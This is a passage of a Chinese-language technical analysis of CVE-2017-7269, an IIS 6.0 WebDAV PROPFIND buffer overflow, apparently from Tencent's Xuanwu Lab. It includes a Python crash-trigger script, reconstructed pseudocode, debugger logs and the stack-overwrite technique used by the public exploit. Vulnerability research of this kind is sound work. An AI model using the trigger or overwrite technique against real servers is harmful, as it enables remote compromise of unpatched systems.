Author: Ke Liu of Tencent’s Xuanwu Lab
1. 漏洞简介 1.1 漏洞简介 2017年3月27日,来自华南理工大学的 Zhiniang Peng 和 Chen Wu 在 GitHub [1 ] 上公开了一份 IIS 6.0 的漏洞利用代码,并指明其可能于 2016 年 7 月份或 8 月份被用于黑客攻击活动。
该漏洞的编号为 CVE-2017-7269 [2 ],由恶意的 PROPFIND
请求所引起:当 If
字段包含形如 <http://localhost/xxxx>
的超长URL时,可导致缓冲区溢出(包括栈溢出和堆溢出)。
微软从 2015 年 7 月 14 日开始停止对 Windows Server 2003 的支持,所以这个漏洞也没有官方补丁,0patch [3 ] 提供了一个临时的解决方案。
无独有偶,Shadow Brokers 在2017年4月14日公布了一批新的 NSA 黑客工具,笔者分析后确认其中的 Explodingcan 便是 CVE-2017-7269 的漏洞利用程序,而且两个 Exploit 的写法如出一辙,有理由认为两者出自同一团队之手:
两个 Exploit 的结构基本一致;
都将 Payload 数据填充到地址 0x680312c0
;
都基于 KiFastSystemCall / NtProtectVirtualMemory
绕过 DEP;
本文以 3 月份公布的 Exploit 为基础,详细分析该漏洞的基本原理和利用技巧。
1.2 原理概述
CStackBuffer
既可以将栈设置为存储区(少量数据)、也可以将堆设置为存储区(大量数据);
为 CStackBuffer
分配存储空间时,误将 字符数 当做 字节数 使用,此为漏洞的根本原因;
因为栈上存在 cookie
,不能直接覆盖返回地址;
触发溢出时,改写 CStackBuffer
对象的内存,使之使用地址 0x680312c0
作为存储区;
将 Payload 数据填充到 0x680312c0
;
程序存在另一处类似的漏洞,同理溢出后覆盖了栈上的一个指针使之指向 0x680313c0
;
0x680313c0
将被当做一个对象的起始地址,调用虚函数时将接管控制权;
基于 SharedUserData
调用 KiFastSystemCall
绕过 DEP;
URL 会从 UTF-8 转为 UNICODE 形式;
Shellcode 使用 Alphanumeric 形式编码(UNICODE);
2. 漏洞原理 2.1 环境配置 在 Windows Server 2003 R2 Standard Edition SP2 上安装 IIS 并为其启用 WebDAV 特性即可。
修改 Exploit 的目标地址,执行后可以看到 svchost.exe
启动 w3wp.exe
子进程,后者以 NETWORK SERVICE
的身份启动了 calc.exe
进程 。
2.2 初步调试 首先,为进程 w3wp.exe
启用 PageHeap 选项;其次,修改 Exploit 的代码,去掉其中的 Shellcode,使之仅发送超长字符串。
1 2 3 4 5 6 7 8 9 import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('192.168.75.134',80)) pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n' pay+='If: <http://localhost/aaaaaaa' pay+='A'*10240 pay+='>\r\n\r\n' sock.send(pay)
执行之后 IIS 服务器上会启动 w3wp.exe
进程(并不会崩溃),此时将 WinDbg 附加到该进程并再次执行测试代码,即可在调试器中捕获到 first chance 异常,可以得到以下信息:
在 httpext!ScStoragePathFromUrl+0x360
处复制内存时产生了堆溢出;
溢出的内容和大小看起来是可控的;
被溢出的堆块在 httpext!HrCheckIfHeader+0x0000013c
处分配;
崩溃所在位置也是从函数 httpext!HrCheckIfHeader
执行过来的;
进程带有异常处理,因此不会崩溃;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 $$ 捕获 First Chance 异常 0:020> g (e74.e80): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00005014 ebx=00002809 ecx=00000a06 edx=0781e7e0 esi=0781a7e4 edi=07821000 eip=67126fdb esp=03fef330 ebp=03fef798 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 httpext!ScStoragePathFromUrl+0x360: 67126fdb f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:006> r ecx ecx=00000a06 0:006> db esi 0781a7e4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0781a7f4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0781a804 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0781a814 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0781a824 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0781a834 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0781a844 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0781a854 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. $$ 目标堆块分配调用栈 0:006> !heap -p -a edi address 07821000 found in _DPH_HEAP_ROOT @ 7021000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 7023680: 781e7d8 2828 - 781e000 4000 7c83d97a ntdll!RtlAllocateHeap+0x00000e9f 5b7e1a40 staxmem!MpHeapAlloc+0x000000f3 5b7e1308 staxmem!ExchMHeapAlloc+0x00000015 67125df9 httpext!CHeap::Alloc+0x00000017 67125ee1 httpext!ExAlloc+0x00000008 67125462 httpext!HrCheckIfHeader+0x0000013c 6712561e httpext!HrCheckStateHeaders+0x00000010 6711f659 httpext!CPropFindRequest::Execute+0x000000f0 6711f7c5 httpext!DAVPropFind+0x00000047 $$ ...... $$ 调用栈 0:006> k ChildEBP RetAddr 03fef798 67119469 httpext!ScStoragePathFromUrl+0x360 03fef7ac 67125484 httpext!CMethUtil::ScStoragePathFromUrl+0x18 03fefc34 6712561e httpext!HrCheckIfHeader+0x15e 03fefc44 6711f659 httpext!HrCheckStateHeaders+0x10 03fefc78 6711f7c5 httpext!CPropFindRequest::Execute+0xf0 03fefc90 671296f2 httpext!DAVPropFind+0x47 $$ ...... $$ 异常可以被处理,因此不会崩溃 0:006> g (e74.e80): C++ EH exception - code e06d7363 (first chance)
2.3 CStackBuffer 崩溃所在模块 httpext.dll
会多次使用一个名为 CStackBuffer
的模板,笔者写了一份类似的代码,以辅助对漏洞原理的理解。为了简单起见,默认存储类型为 unsigned char
,因此省略了模板参数 typename T
。
CStackBuffer
的相关特性如下:
默认使用栈作为存储空间,大小由模板参数 SIZE
决定;
通过 resize
可以将堆设置为存储空间;
通过 fake_heap_size
的最低位标识存储空间的类型;
通过 release
释放存储空间;
对象的内存布局依次为:栈存储空间、堆块大小成员、存储空间指针;
CStackBuffer
的源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 template<unsigned int SIZE> class CStackBuffer { public: CStackBuffer(unsigned int size) { fake_heap_size = 0; heap_buffer = NULL; resize(size); } unsigned char* resize(unsigned int size) { if (size <= SIZE) { size = SIZE; } if (fake_heap_size >> 2 < size) { if (fake_heap_size & 1 || size > SIZE) { release(); heap_buffer = (unsigned char*)malloc(size); fake_heap_size |= 1; } else { heap_buffer = buffer; } fake_heap_size = (4 * size) | (fake_heap_size & 3); } fake_heap_size |= 2; return heap_buffer; } void release() { if (fake_heap_size & 1) { free(heap_buffer); heap_buffer = NULL; } } unsigned char* get() { return heap_buffer; } unsigned int getFakeSize() { return fake_heap_size; } private: unsigned char buffer[SIZE]; unsigned int fake_heap_size; unsigned char* heap_buffer; };
2.4 漏洞调试 根据之前的简单分析,可知 HrCheckIfHeader
是一个关键函数,因为:
目标堆块是在这个函数中动态分配的;
从这里可以执行到触发异常的函数 ScStoragePathFromUrl
;
函数 HrCheckIfHeader
简化后的伪代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 int HrCheckIfHeader(CMethUtil *pMethUtil) { CStackBuffer<260> buffer1; LPWSTR lpIfHeader = CRequest::LpwszGetHeader("If", 1); IFILTER ifilter(lpIfHeader); LPWSTR lpToken = ifilter->PszNextToken(0); while (1) { // <http://xxxxx> if (lpToken) { CStackBuffer<260> buffer2; // http://xxxx> LPWSTR lpHttpUrl = lpToken + 1; size_t length = wcslen(lpHttpUrl); if (!buffer2.resize(2*length + 2)) { buffer2.release(); return 0x8007000E; } // 将 URL 规范化后存入 buffer2 // length = wcslen(lpHttpUrl) + 1 // eax = 0 int res = ScCanonicalizePrefixedURL( lpHttpUrl, buffer2.get(), &length); if (!res) { length = buffer1.getFakeSize() >> 3; res = pMethUtil->ScStoragePathFromUrl( buffer2.get(), buffer1.get(), &length); if (res == 1) { if (buffer1.resize(length)) { res = pMethUtil->ScStoragePathFromUrl( buffer2.get(), buffer1.get(), &length); } } } } // ...... } // ...... }
可以看出这里的关键函数为 CMethUtil::ScStoragePathFromUrl
,该函数会将请求转发给 ScStoragePathFromUrl
,后者简化后的伪代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 typedef struct _HSE_UNICODE_URL_MAPEX_INFO { WCHAR lpszPath[MAX_PATH]; DWORD dwFlags; // The physical path that the virtual root maps to DWORD cchMatchingPath;// Number of characters in the physical path DWORD cchMatchingURL; // Number of characters in the URL DWORD dwReserved1; DWORD dwReserved2; } HSE_UNICODE_URL_MAPEX_INFO, * LPHSE_UNICODE_URL_MAPEX_INFO; int ScStoragePathFromUrl( const struct IEcb *iecb, const wchar_t *buffer2, wchar_t *buffer1, unsigned int *length, struct CVRoot **a5) { wchar_t *Str = buffer2; // 检查是否为 https://locahost:80/path http://localhost/path // 返回 /path> int result = iecb->ScStripAndCheckHttpPrefix(&Str); if (result < 0 || *Str != '/') return 0x80150101; int v7 = wcslen(Str); // c:\inetpub\wwwroot\path // dwFlags = 0x0201 // cchMatchingPath = 0x12 // cchMatchingURL = 0x00 // result = 0 HSE_UNICODE_URL_MAPEX_INFO mapinfo; result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo); int v36 = result; if (result < 0) return result; // L"\x00c:\inetpub\wwwroot" // n == 0 wchar_t *Str1 = NULL; int n = iecb->CchGetVirtualRootW(&Str1); if (n == mapinfo.cchMatchingURL) { if (!n || Str[n-1] && !_wcsnicmp(Str1, Str, n)) { goto LABEL_14; } } else if (n + 1 == mapinfo.cchMatchingURL) { if (Str[n] == '/' || Str[n] == 0) { --mapinfo.cchMatchingURL; goto LABEL_14; } } v36 = 0x1507F7; LABEL_14: if (v36 == 0x1507F7 && a5) // a5 == 0 { // ...... } // 0x12 int v16 = mapinfo.cchMatchingPath; if (mapinfo.cchMatchingPath) { // v17 = L"t\aaaaaaaAAA...." wchar_t *v17 = ((char*)&mapinfo - 2) + 2*v16; if (*v17 == '\\') { // ...... } else if (!*v17) { // ...... } } // v7 = wcslen(/path>) int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1; int v19 = *length < v18; if (v19) { *length = v18; if (a5) { // ...... } result = 1; } else { int v24 = (2*mapinfo.cchMatchingPath >> 2); qmemcpy( buffer1, mapinfo.lpszPath, 4 * v24); LOBYTE(v24) = 2*mapinfo.cchMatchingPath; qmemcpy( &buffer1[2 * v24], (char*)mapinfo.lpszPath + 4 * v24, v24 & 3); qmemcpy( &buffer1[mapinfo.cchMatchingPath], &Str[mapinfo.cchMatchingURL], 2 * (v7 - mapinfo.cchMatchingURL) + 2); for (wchar_t *p = &buffer1[mapinfo.cchMatchingPath]; *p; p += 2) { if (*p == '/') *p = '\\'; } *length = mapinfo.cchMatchingPath - mapinfo.cchMatchingURL + v7 + 1; result = v36; } return result; }
函数 HrCheckIfHeader
会调用 ScStoragePathFromUrl
两次,在第一次调用 ScStoragePathFromUrl
时,会执行如下的关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 { wchar_t *Str = buffer2; // 返回 /path> int result = iecb->ScStripAndCheckHttpPrefix(&Str); int v7 = wcslen(Str); HSE_UNICODE_URL_MAPEX_INFO mapinfo; result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo); // 0x12 L"c:\inetpub\wwwroot" int v16 = mapinfo.cchMatchingPath; // v18 = 0x12 - 0 + wcslen('/path>') + 1 = 0x12 + 10249 + 1 = 0x281c int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1; int v19 = *length < v18; if (v19) { *length = v18; if (a5) { // ...... } result = 1; } return result; }
这里得到 v18
的值为 0x281c
,而 *length
的值由参数传递,实际由 CStackBuffer::resize
计算得到,最终的值为 0x82
,计算公式为:
1 2 3 4 5 6 fake_heap_size = 0; size = 260; fake_heap_size = (4 * size) | (fake_heap_size & 3); fake_heap_size |= 2; length = fake_heap_size >> 3;
显然有 0x82 < 0x281c
,所以函数 ScStoragePathFromUrl
将 *length
填充为 0x281c
并返回 1
。实际上,这个值代表的是真实物理路径的字符个数 。
1 0x281c = 0x12 ("c:\inetpub\wwwroot") + 10248 ("/aaa..") + 1 ('>') + 1 ('\0')
在 HrCheckIfHeader
第二次调用 ScStoragePathFromUrl
之前,将根据 length
的值设置 CStackBuffer
缓冲区的大小。然而,这里设置的大小是字符个数,并不是字节数,所以第二次调用 ScStoragePathFromUrl
时会导致缓冲区溢出。实际上,调用 CStackBuffer::resize
的位置就是 httpext!HrCheckIfHeader+0x0000013c
,也就是堆溢出发生时通过 !heap -p -a edi
命令得到的栈帧。
1 2 3 4 5 6 7 8 9 10 res = pMethUtil->ScStoragePathFromUrl( buffer2.get(), buffer1.get(), &length); if (res == 1) { if (buffer1.resize(length)) // httpext!HrCheckIfHeader+0x0000013c { res = pMethUtil->ScStoragePathFromUrl( buffer2.get(), buffer1.get(), &length); } }
小结:
函数 ScStoragePathFromUrl
负责将 URL 请求中的文件路径转换为实际的物理路径,函数的名字也印证了这一猜想;
第一次调用此函数时,由于缓冲区大小不够,返回实际物理路径的字符个数;
第二次调用此函数之前先调整缓冲区的大小;
由于缓冲区的大小设置成了字符个数,而不是字节数,因此导致缓冲区溢出;
两次调用同一个 API 很符合微软的风格(第一次得到所需的空间大小,调整缓冲区大小后再次调用);
3. 漏洞利用 3.1 URL 解码 在函数 HrCheckIfHeader
中,首先调用 CRequest::LpwszGetHeader
来获取 HTTP 头中的特定字段的值,该函数简化后的伪代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 int CRequest::LpwszGetHeader(const char *tag, int a3) { // 查找缓存 int res = CHeaderCache<unsigned short>::LpszGetHeader( (char *)this + 56, tag); if (res) return res; // 获取值 char *pszHeader = this->LpszGetHeader(tag); if (!pszHeader) return 0; int nHeaderChars = strlen(pszHeader); CStackBuffer<tagPROPVARIANT, 64> stackbuffer(64); if (!stackbuffer.resize(2 * nHeaderChars + 2)) { // _CxxThrowException(...); } // 调用 ScConvertToWide 进行转换 int v11 = nHeaderChars + 1; char* language = this->LpszGetHeader("Accept-Language"); int v7 = ScConvertToWide(pszHeader, &v11, stackbuffer.get(), language, a3); if ( v7 ) // _CxxThrowException(...); // 设置缓存 res = CHeaderCache<unsigned short>::SetHeader( tag, stackbuffer.get(), 0); stackbuffer.release(); return res; }
可以看出这里通过 CHeaderCache
建立缓存机制,此外获取到的值会通过调用 ScConvertToWide
来进行转换操作。事实上,ScConvertToWide
会调用 MultiByteToWideChar
对字符串进行转换。
1 2 3 4 5 6 7 MultiByteToWideChar( CP_UTF8, 0, pszHeader, strlen(pszHeader) + 1, lpWideCharStr, strlen(pszHeader) + 1);
由于存在编码转换操作,Exploit 中的 Payload 需要先进行编码,这样才能保证解码后得到正常的 Payload。字符串转换的调试日志如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 0:007> p eax=00000000 ebx=00000655 ecx=077f59a9 edx=077f5900 esi=0000fde9 edi=77e62fd6 eip=6712721f esp=03fef5b0 ebp=03fef71c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 httpext!ScConvertToWide+0x150: 6712721f ffd7 call edi {kernel32!MultiByteToWideChar (77e62fd6)} $$ 调用 MultiByteToWideChar 时的参数 0:007> dds esp L6 03fef5b0 0000fde9 $$ CP_UTF8 03fef5b4 00000000 $$ 0 03fef5b8 077f59a8 $$ pszHeader 03fef5bc 00000655 $$ strlen(pszHeader) + 1 03fef5c0 077f3350 $$ lpWideCharStr 03fef5c4 00000655 $$ strlen(pszHeader) + 1 $$ 转换前的字符串 0:007> db 077f59a8 077f59a8 3c 68 74 74 70 3a 2f 2f-6c 6f 63 61 6c 68 6f 73 <http://localhos 077f59b8 74 2f 61 61 61 61 61 61-61 e6 bd a8 e7 a1 a3 e7 t/aaaaaaa....... 077f59c8 9d a1 e7 84 b3 e6 a4 b6-e4 9d b2 e7 a8 b9 e4 ad ................ 077f59d8 b7 e4 bd b0 e7 95 93 e7-a9 8f e4 a1 a8 e5 99 a3 ................ 077f59e8 e6 b5 94 e6 a1 85 e3 a5-93 e5 81 ac e5 95 a7 e6 ................ 077f59f8 9d a3 e3 8d a4 e4 98 b0-e7 a1 85 e6 a5 92 e5 90 ................ 077f5a08 b1 e4 b1 98 e6 a9 91 e7-89 81 e4 88 b1 e7 80 b5 ................ 077f5a18 e5 a1 90 e3 99 a4 e6 b1-87 e3 94 b9 e5 91 aa e5 ................ 0:007> p eax=000003d1 ebx=00000655 ecx=0000b643 edx=00000000 esi=0000fde9 edi=77e62fd6 eip=67127221 esp=03fef5c8 ebp=03fef71c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 httpext!ScConvertToWide+0x152: 67127221 85c0 test eax,eax $$ 转换后的字符串 0:007> db 077f3350 077f3350 3c 00 68 00 74 00 74 00-70 00 3a 00 2f 00 2f 00 <.h.t.t.p.:././. 077f3360 6c 00 6f 00 63 00 61 00-6c 00 68 00 6f 00 73 00 l.o.c.a.l.h.o.s. 077f3370 74 00 2f 00 61 00 61 00-61 00 61 00 61 00 61 00 t./.a.a.a.a.a.a. 077f3380 61 00 68 6f 63 78 61 77-33 71 36 69 72 47 39 7a a.hocxaw3q6irG9z 077f3390 77 4b 70 4f 53 75 4f 7a-68 48 63 56 54 6d 45 68 wKpOSuOzhHcVTmEh 077f33a0 53 39 6c 50 67 55 63 67-64 33 30 46 45 78 52 69 S9lPgUcgd30FExRi 077f33b0 31 54 58 4c 51 6a 41 72-31 42 35 70 50 58 64 36 1TXLQjAr1B5pPXd6 077f33c0 47 6c 39 35 6a 54 34 50-43 54 52 77 61 50 32 32 Gl95jT4PCTRwaP22
3.2 栈溢出 根据前面的分析,可以知道当字符串超长时是可以导致堆溢出的,但问题是堆块的基地址并不是固定的。实际上,当 CStackBuffer
使用栈作为存储空间时,也可以触发栈溢出,原理和堆溢出是一样的。
当然,这里不是通过栈溢出来执行代码,因为栈上有 cookie
。
1 2 3 4 5 6 7 .text:671255F5 mov large fs:0, ecx .text:671255FC mov ecx, [ebp+var_10] .text:671255FF pop ebx .text:67125600 call @__security_check_cookie@4 .text:67125605 leave .text:67125606 retn 8 .text:67125606 ?HrCheckIfHeader@@YGJPAVCMethUtil@@PBG@Z endp
在函数 HrCheckIfHeader
中存在两个 CStackBuffer
实例:
1 2 3 4 5 char c_stack_buffer_1; // [sp+44h] [bp-430h]@1 unsigned int v29; // [sp+148h] [bp-32Ch]@9 wchar_t *stack_buffer1; // [sp+14Ch] [bp-328h]@9 char c_stack_buffer_2; // [sp+150h] [bp-324h]@7 unsigned __int16 *stack_buffer2; // [sp+258h] [bp-21Ch]@8
基于前面对 CStackBuffer
内存布局的分析,可以知道这里栈空间的分布为:
1 2 3 4 5 6 7 8 9 10 11 12 13 ┌─────────────────────────┐ │ 2.heap_buffer│ ebp-21C ├─────────────────────────┤ │ 2.fake_heap_size│ ebp-220 ├─────────────────────────┤ │CStackBuffer2.buffer[260]│ ebp-324 ├─────────────────────────┤ │ 1.heap_buffer│ ebp-328 ├─────────────────────────┤ │ 1.fake_heap_size│ ebp-32C ├─────────────────────────┤ │CStackBuffer1.buffer[260]│ ebp-430 └─────────────────────────┘
下面要重点分析的代码片段为:
1 2 3 4 5 6 7 8 9 10 res = pMethUtil->ScStoragePathFromUrl( buffer2.get(), buffer1.get(), &length); // (1) if (res == 1) { if (buffer1.resize(length)) // (2) { res = pMethUtil->ScStoragePathFromUrl( // (3) buffer2.get(), buffer1.get(), &length); } }
(1) HrCheckIfHeader
第一次调用 ScStoragePathFromUrl
时传递的参数分析如下(函数返回值为 1
,长度设置为 0xaa
):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 0:006> dds esp L3 03faf7b4 077d8eb0 $$ http://localhost/aaaaaaa.... 03faf7b8 03faf804 $$ CStackBuffer1.buffer 03faf7bc 03faf800 $$ 00000082 0:006> dd 03faf800 L1 03faf800 0:006> db 077d8eb0 077d8eb0 68 00 74 00 74 00 70 00-3a 00 2f 00 2f 00 6c 00 h.t.t.p.:././.l. 077d8ec0 6f 00 63 00 61 00 6c 00-68 00 6f 00 73 00 74 00 o.c.a.l.h.o.s.t. 077d8ed0 2f 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 /.a.a.a.a.a.a.a. 077d8ee0 68 6f 63 78 61 77 33 71-36 69 72 47 39 7a 77 4b hocxaw3q6irG9zwK 077d8ef0 70 4f 53 75 4f 7a 68 48-63 56 54 6d 45 68 53 39 pOSuOzhHcVTmEhS9 077d8f00 6c 50 67 55 63 67 64 33-30 46 45 78 52 69 31 54 lPgUcgd30FExRi1T 077d8f10 58 4c 51 6a 41 72 31 42-35 70 50 58 64 36 47 6c XLQjAr1B5pPXd6Gl 077d8f20 39 35 6a 54 34 50 43 54-52 77 61 50 32 32 4b 6d 95jT4PCTRwaP22Km 077d8f30 34 6c 47 32 41 62 4d 37-61 51 62 58 73 47 50 52 4lG2AbM7aQbXsGPR 077d8f40 70 36 44 75 6a 68 74 33-4a 4e 6b 78 76 49 73 4e p6Dujht3JNkxvIsN 077d8f50 6a 4c 7a 57 71 6f 4a 58-30 32 6e 37 49 4b 4d 52 jLzWqoJX02n7IKMR 077d8f60 63 48 4c 6f 56 75 75 75-6f 66 68 76 4d 44 70 50 cHLoVuuuofhvMDpP 077d8f70 36 7a 4b 62 57 65 50 75-72 6a 6b 7a 62 77 58 76 6zKbWePurjkzbwXv 077d8f80 48 62 31 65 54 30 79 6c-4a 50 62 54 33 50 77 35 Hb1eT0ylJPbT3Pw5 077d8f90 77 6a 44 41 34 33 76 64-46 4d 54 56 6c 47 43 65 wjDA43vdFMTVlGCe 077d8fa0 32 76 78 72 69 57 38 43-72 62 30 5a 38 59 48 54 2vxriW8Crb0Z8YHT 077d8fb0 02 02 02 02 c0 12 03 68-44 6c 56 52 37 4b 6d 6c .......hDlVR7Kml 077d8fc0 58 4f 5a 58 50 79 6a 49-4f 58 52 4a 50 41 4d 66 XOZXPyjIOXRJPAMf 077d8fd0 c0 13 03 68 34 48 31 65-43 6f 66 6e 41 74 6c 43 ...h4H1eCofnAtlC 077d8fe0 c0 13 03 68 43 53 41 6a-52 70 30 33 66 58 4c 42 ...hCSAjRp03fXLB 077d8ff0 4b 70 46 63 73 51 41 79-50 7a 6c 4a 3e 00 00 00 KpFcsQAyPzlJ>... 077d9000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
(2) 因为 ScStoragePathFromUrl
返回 0xaa
,所以 buffer1.resize(0xaa)
并不会在堆上分配空间,而是直接使用栈上的 buffer
。
(3) 第二次调用 ScStoragePathFromUrl
时会导致栈溢出,实际结果是 CStackBuffer1.fake_heap_size
被改写为 0x02020202
、CStackBuffer1.heap_buffer
被改写为 0x680312c0
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 0:006> dds esp L3 03faf7b4 077d8eb0 $$ http://localhost/aaaaaaa.... 03faf7b8 03faf804 $$ CStackBuffer1.buffer 03faf7bc 03faf800 $$ 00000412 = ((0x104 * 4) | (0x82 & 3)) | 2 $$ 留意最后面 2 个 DWORD 的值 0:006> db ebp-430 L10C 03faf804 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03faf814 c0 59 55 03 00 00 00 00-00 10 08 00 60 f8 fa 03 .YU.........`... 03faf824 fc f7 fa 03 f8 64 02 07-94 f8 fa 03 70 82 82 7c .....d......p..| 03faf834 a0 6e 87 7c 00 00 00 00-9c 6e 87 7c 00 00 00 00 .n.|.....n.|.... 03faf844 01 00 00 00 16 00 00 00-23 9f 87 7c 00 00 00 00 ........#..|.... 03faf854 c4 af 7b 04 02 00 00 01-00 00 00 00 04 5d 88 8a ..{..........].. 03faf864 6c 00 00 00 8c 1e 8f 60-82 1e 8f 60 02 00 00 00 l......`...`.... 03faf874 9a 1e 8f 60 34 fb fa 03-33 00 00 00 00 00 00 00 ...`4...3....... 03faf884 8c 1e 8f 60 52 23 8f 60-22 00 00 00 00 00 00 00 ...`R#.`"....... 03faf894 00 00 00 00 00 00 00 00-01 00 00 00 0c 00 00 00 ................ 03faf8a4 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03faf8b4 f6 67 ca 77 00 00 00 00-00 00 00 00 00 00 00 00 .g.w............ 03faf8c4 00 00 00 00 00 00 00 00-20 f9 fa 03 4a b0 bc 77 ........ ...J..w 03faf8d4 85 05 00 00 4f f9 fa 03-5b 20 11 67 5c b0 bc 77 ....O...[ .g\..w 03faf8e4 5b 20 11 67 b0 72 bd 77-4f f9 fa 03 5b 20 11 67 [ .g.r.wO...[ .g 03faf8f4 13 00 00 00 58 00 00 00-00 00 00 00 e8 64 02 07 ....X........d.. 03faf904 c0 17 bf 77 12 04 00 00-04 f8 fa 03 ...w........ ^^^^^^^^^^^ ~~~~~~~~~~~ 0:006> p eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=03faf804 esi=00000001 edi=77bd8ef2 eip=67125484 esp=03faf7c0 ebp=03fafc34 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 httpext!HrCheckIfHeader+0x15e: 67125484 8bf0 mov esi,eax $$ 留意最后面 2 个 DWORD 的值 0:006> db ebp-430 L10C 03faf804 63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00 c.:.\.i.n.e.t.p. 03faf814 75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00 u.b.\.w.w.w.r.o. 03faf824 6f 00 74 00 5c 00 61 00-61 00 61 00 61 00 61 00 o.t.\.a.a.a.a.a. 03faf834 61 00 61 00 68 6f 63 78-61 77 33 71 36 69 72 47 a.a.hocxaw3q6irG 03faf844 39 7a 77 4b 70 4f 53 75-4f 7a 68 48 63 56 54 6d 9zwKpOSuOzhHcVTm 03faf854 45 68 53 39 6c 50 67 55-63 67 64 33 30 46 45 78 EhS9lPgUcgd30FEx 03faf864 52 69 31 54 58 4c 51 6a-41 72 31 42 35 70 50 58 Ri1TXLQjAr1B5pPX 03faf874 64 36 47 6c 39 35 6a 54-34 50 43 54 52 77 61 50 d6Gl95jT4PCTRwaP 03faf884 32 32 4b 6d 34 6c 47 32-41 62 4d 37 61 51 62 58 22Km4lG2AbM7aQbX 03faf894 73 47 50 52 70 36 44 75-6a 68 74 33 4a 4e 6b 78 sGPRp6Dujht3JNkx 03faf8a4 76 49 73 4e 6a 4c 7a 57-71 6f 4a 58 30 32 6e 37 vIsNjLzWqoJX02n7 03faf8b4 49 4b 4d 52 63 48 4c 6f-56 75 75 75 6f 66 68 76 IKMRcHLoVuuuofhv 03faf8c4 4d 44 70 50 36 7a 4b 62-57 65 50 75 72 6a 6b 7a MDpP6zKbWePurjkz 03faf8d4 62 77 58 76 48 62 31 65-54 30 79 6c 4a 50 62 54 bwXvHb1eT0ylJPbT 03faf8e4 33 50 77 35 77 6a 44 41-34 33 76 64 46 4d 54 56 3Pw5wjDA43vdFMTV 03faf8f4 6c 47 43 65 32 76 78 72-69 57 38 43 72 62 30 5a lGCe2vxriW8Crb0Z 03faf904 38 59 48 54 02 02 02 02-c0 12 03 68 8YHT.......h ^^^^^^^^^^^ ~~~~~~~~~~~
3.3 填充数据 通过!address
命令可知地址 0x680312c0
位于 rsaenh
模块中,具备 PAGE_READWRITE
属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 0:006> !address 680312c0 Failed to map Heaps (error 80004005) Usage: Image Allocation Base: 68000000 Base Address: 68030000 End Address: 68032000 Region Size: 00002000 Type: 01000000 MEM_IMAGE State: 00001000 MEM_COMMIT Protect: 00000004 PAGE_READWRITE More info: lmv m rsaenh More info: !lmi rsaenh More info: ln 0x680312c0 0:006> u 680312c0 L1 rsaenh!g_pfnFree+0x4: 680312c0 0000 add byte ptr [eax],al
在解析 http://localhost/bbbbbbb......
